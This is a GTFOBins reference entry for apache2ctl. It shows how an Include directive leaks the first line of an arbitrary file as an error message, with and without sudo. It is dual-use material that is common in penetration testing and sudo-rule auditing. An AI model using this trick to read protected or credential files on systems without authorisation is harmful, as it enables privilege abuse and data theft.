GTFOBins.github.io/_gtfobins/apache2ctl.md
2023-12-23 12:13:45 +01:00

13 lines
337 B
Markdown

---
description: This includes the file in the actual configuration file, the first line is leaked as an error message.
functions:
file-read:
- code: |
LFILE=file_to_read
apache2ctl -c "Include $LFILE" -k stop
sudo:
- code: |
LFILE=file_to_read
sudo apache2ctl -c "Include $LFILE" -k stop
---